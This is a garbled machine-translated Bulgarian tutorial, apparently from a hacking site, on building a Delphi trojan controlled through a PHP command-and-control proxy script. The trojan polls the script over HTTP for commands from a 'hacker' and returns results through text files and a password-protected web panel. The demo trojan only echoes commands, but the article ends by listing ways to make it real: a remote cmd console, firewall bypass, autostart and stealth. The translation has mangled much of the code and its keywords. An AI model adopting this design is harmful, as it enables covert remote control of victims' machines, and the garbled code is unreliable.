ПредишенСледващото

Кодът, който реализира това, изглежда така:

// първоначално празен заявка
поискване: = »;
// цикъл на Троян
докато истинската задачи
започвам
// Изпращане искането на скрипта
ако (SendStringViaHTTP ( "127.0.0.1", "test1.ru", 80 ", /index.php", искането и отговор)<>0), тогава
започвам
// ако Изпращането е неуспешно - чакай малко и стръмни следващата итерация
сън (1000 * SEC);
продължи;
приключи;
// ако Изпращането е неуспешно - проверка на отговор
ако (отговор = »), след това
започвам
// команди от хакера не е - чистя
Reques,
// чакай малко и стръмни следващата итерация
поискване: = »;
сън (1000 * SEC);
продължи;
приключи;
// ако управлението дойдох тук - за да отговори на нашия екип хакер
// изпълните командата
поискване: = DoCommand (отговор);
приключи;

Отговорът на този въпрос и да поиска нашите глобални променливи от тип AnsiString. Отговорът е друг екип от хакери, които раздават сценария. Command изпълнява функция DoCommand (за това ще говорим малко по-
по-късно). Същата функцията връща резултатите от заповедта да се вписват в искането и подадени на скрипта веднага. Ако командите от сценария не пристигат, троянецът "заспал" на секундите SEC, а след това отново изпраща заявка към сценария.

Сега за DoCommand функция и самите команди. Какво бихте направили в нашия пример за недвижими Троянският кон (CC друго актове;)) всяка команда, предавана от хакер троянски ще отговори тип текст:

23.06.05 01:30:14], прието в изпълнение на командата: реж
извършване Резултат:
Троян не е реално;), така че вместо реж командни изходите на този текст! ))

По този начин нашата "троянски кон" не изпълнява команди, той просто ви позволява да знаете кога и как
командата, получена от сценария. Както можете да видите, че всичко е доста цивилизовано - безвреден пример програма демонстрира принципа на;)))

// функция изпълнява командата и
се връща в резултат на
функция DoCommand (Comm: AnsiString): AnsiString;
Var
systime: SYSTEMTIME;
започвам
// проверява дали има някакъв отбор
ако команд = »след това
започвам
// не - възстановяване празен низ
Резултат: = »;
изход;
приключи;
// ако контролът е достигнал тук, така че отборът има
// определи пристигането на екипа за изпълнение
Резултати: = StringOfChar ( '', 8 + 1 + 8); // 8 в дд.мм.гг, едно пространство, 8 ЧЧ: мм: сс
GetLocalTime (systime);
GetDateFormat (0, 0, @systime "дд.мм.гг ', @Result [1], 8);
GetTimeFormat (0, 0, @systime, "НН: мм: сс", @Result [10] 8);
// определи екипа, който дойде с изпълнението
Резултат: = Резултат + '] приета за отбор изпълнение: '+ Comm +'
";
// Съобщение относно резултатите от:
Резултат: = Резултат + 'резултат на изпълнение:
";
// ако беше истински троянски тогава ще направи оценка на прехвърлените
// екип и ние като напишете в резултат на неговото изпълнение в края
Резултати,
// но тъй като Това е само един пример, ние да прибавите към само този текст:
Резултат: = Резултат + "Троян не е реално;), така че вместо резултатът +
"Команден '+ Comm +' показва този текст! ))
";
приключи;

Мисля, че не е необходимо допълнително обяснение към доведе код. Ufff ... с троянски ни харесва
Ние разбира. Нека сега се обърнем към медиатора на скрипта.

Script прокси запис в PHP. Първо безплатен уеб хостинг с PHP - това наистина не е проблем. Второ PHP като в C ++, което само по себе си не може да не се радвам 😉

На първо място, сценарият трябва да знае паролата на троянския кон, така че в самото начало на скрипта дефинира променливата:

$ TROJAN_PSW = '<тут пароль трояна>";

Всеки път, когато отваряте сценария трябва да провери дали троянците се обърнаха към него. Това е достатъчно, за да погледнем в заглавната част User-Agent:

ако ($ _ СЪРВЪРА [ 'HTTP_USER_AGENT'] == $ TROJAN_PSW) // искане, изпратено от троянците - лечение!
... ... ...
>;

Обработка на искането за троянския кон, първо проверете дали той е изпратил никакви данни. За да направите това, проверете дали не прехвърля
параметрични данни Script. Ако данните се прехвърлят и не е празен - Напълнете я до файла с цел trojan.txt. Когато скриптът ще обработва молбата за хакер го през уеб базиран интерфейс ще му даде trojan.txt съдържанието на файла.

ако (Isset ($ _ POST [ "данни"])) // параметър данни!
$ Data = $ _POST [ 'данни'];
ако (! $ данни = ») // низ в $ данни не е празна - Напълнете
в
// файл trojan.txt
$ F = fopen ( "trojan.txt", "а +);
неуспешно ($ е, $ данни. »
");
fclose ($ е);
>;
>;

На следващо място, ние трябва да мине още един Троян
команда от хакер. Команди, които хакерът изпраща сценария записва в текстов файл hacker.txt а. Ето защо, ние първо проверете дали файлът съществува изобщо hacker.txt:

ако (file_exists ( "hacker.txt")) // файлът съществува - да работя с него
... ... ...
>;

Във всеки ред от файла съдържа hacker.txt един отбор. Това е много удобно, защото трябва да се даде Троян само един отбор на заявка. И в същия ред, в който хакерът изпрати сценария команди.

Тя изпълнява така. Първо четене от файла в масив долара:

// всеки ред от файла става елемент масив
$ A = файл ( "hacker.txt ');

След това проверете дали масивът е празен - защото hacker.txt файл може да съществува, но да е празно. Ако масивът не е празна, ние приемаме от нея на първия елемент (или по-скоро нулев елемент - първия отбор в hacker.txt файл). Преди да се даде команда скрипт, ние сме му "чисти": uberom байта 0x0D, 0x0A (addcslashes функция и да се замени) и интервали в началото и в края (тапицерия функция) на. След това ние даваме "четка" команда троянски коне и изтриване hacker.txt:

ако (брои ($ а)> 0) печат тапицерия (str_replace ( '\ R', », str_replace (" \ Н ",», (addcslashes ($ а [0], «\ R \ н»)))) );
прекратяване на връзката ( "hacker.txt ');
>;

Ако предават командите ни беше единственият, ние ще го оставите в това - ако е необходимо hacker.txt скрипт ще създадете файл отново. Ако, обаче, освен в hacker.txt са другите отбори, създаване на файла отново и ще ги напиша обратно - но без първата, защото го дал на сценария:

// Има ли все още нито един екип?
ако (брои ($ а)> 1) // да! - напишете ги обратно в hacker.txt
$ F = fopen ( "hacker.txt", "w");
за ($ аз = 1; $ аз>;
fclose ($ е);
>;

В тази работа с троянски завършен - той ще изпрати низ ""(Тъй като е върху функцията й троянски SendStringViaHTTP научава, че предаването на данни от сценария е завършена) и" убие "сценария:

В сценария веднъж за кода, който работи с троянския кон, трябва да е кодът, който работи с един хакер. Сценарият "научава" хакер с парола, приет през метод параметър PSW GET или POST. Правилната парола се съхранява в
променлива $ HACKER_PSW, което е написано в сценария веднага за $ TROJAN_PSW.

Проверете параметър PSW извършва, както следва:

Ако паролата е прехвърлен (променлива $ PSW там), проверете дали тя е вярна:

ако (Isset ($ PSW)) ако ($ PSW == $ HACKER_PSW) // премина правилната парола - искане, изпратено до хакер
// процес
... ... ...
>;
>;

обработка на заявката върви по следния начин. Първо проверете дали хакерът даде някаква команда. хакерски команди се предават в ПМС параметър, който се изпраща на сценария по пощата. Ако командата от хакер е, отсечи я наляво и надясно пространства (тапицерия функция) и провери, не е празна отбор низ. Ако не - ще го добавите към hacker.txt края на файла (в нея, както казахме,
съхраняват хакер отбор). Кодът, който реализира всичко това е съвсем проста:

ако (Isset ($ _ POST [ 'ПМС'])) // да, подаде - проверка, или на екипа не е празна
$ Cmd = подреден ($ _ POST [ 'CMD']);
ако ($ CMD = »!) // не е празен - ние можем да го напиша във файл
$ F = fopen ( "hacker.txt", "а +);
неуспешно ($ е, $ CMD »\ н».);
fclose ($ е);
>;
>;

След като екипът на хакер приета и съхранена, ние ще се погрижим за уеб интерфейса. Ще се образува "капачката" - горната част на HTML-страници, които хакерът ще виждат във вашия браузър. В "капачката" е секцията HEAD и началото на частта на тялото.

В тялото ни предпише форма с текстово поле ПМС а (тук хакер ще влезе команди), представя бутон и скрито поле PSW, съдържащ парола хакер. Като форма на данни скрипт предназначение, уточни празен низ (т.е. самия скрипт), както и метода - POST. По този начин всеки път, когато се изпращат данни от форма, с изключение на командите от скрипт в CMD ще научи повече и парола в PSW - и по този начин да определи, че заповедта в ПМС го е изпратил хакер.

Кодът формира "капачка", е както следва:

В браузъра образна шапка изглежда така:

След "шапки" извлече trojan.txt съдържанието на файла. Всичко това е много
проста:

ако (file_exists ( "trojan.txt")) // файлът съществува
$ A = файл ( "trojan.txt ');
// да го отпечатате
за ($ аз = 0; $ аз>;
>;

Завършете формирането на уеб-базиран интерфейс към страницата:

Уеб-базирана троянски ще изглежда така:

Е, какво, ако нашия скрипт, причинени инцидент? Е, има някои Вася Pupkin намери справка "Google"? Всичко е наред! =) Тъй като нормално повикване, всички пароли за сценарий не е прието, когато за обработката на заявки троянски кодове и хакер просто не се получи контрол.

Въпреки това, по-специално за John Doe, получаваме следния "съществена" съдържанието
:-D:

Кодът, който прави това, ще публикуваме в края на сценария:

печат «Freedom хамстери!


В процес на разработка!


";

Е, сценарият изглежда твърде ясно. Можете да обобщим.

Разбира се, статията се описва не е пълноправен Trojan-Програмно и един пример, който показва само троянски принципа на управление от страна на сървъра, чрез скрипт. Източници, между другото, са
тук. Програмата съставя глоба по Delphi 7 до PHP-скрипт нужда от преводач PHP 4.x, можете под Windows.

Разбира се, този пример в определен финес може да се превърне в истински троянски. В нашия троянски могат да добавят се добавят чипове:

  • -добър механизъм за проверка на връзката и-мрежата, определянето на прокси (ако троянски имам в локална мрежа, която е не само вижда през прокси) и работи през него;
  • Подобрена работа с HTTP (най-малко проверка на кодовете за отговор на сървъра);
  • механизъм за заобикаляне на защитни стени (въведение в браузъра, draver или нещо друго от този тип);
  • изпълнява троянски команди (например, дистанционно конзола cmd-);
  • Startup, невидимост и други чипове, които са в някакви троянци .;

Скрипт не би навредило:

  • генериране на случайни имена за файловете и trojan.txt
    hacker.txt;
  • предотврати споделянето на тези файлове (това може да се случи, че троянците и хакер в същото време стартирате скрипта пълномощника, а след две копия на сценария може да "кавга" над достъпа до файлове);
  • образуват по-удобен и функционален уеб-базиран интерфейс с поддръжка на две рамки: първата с формата, а вторият - с данните за скриптове, както и че ще се актуализира автоматично, както и съобщение, че Троянската добави в горната част, както и в чат стаи;
  • показване на допълнителна информация, не само отговаря на някои троянски, например, показват кои от изпратените команди премина троянски коне, и които са все още чака своя ред;
  • даде възможност за контрол от няколко копия троянски;
  • все още някои малки удобства като хубав дизайн, бутон "ясно файл trojan.txt» и т.н.

Както можете да видите, още много работа. Но това не е страшно - защото всичко е в ръцете ни;))

Покажете тази статия на приятел:

Подкрепете проекта - споделете линка, благодаря!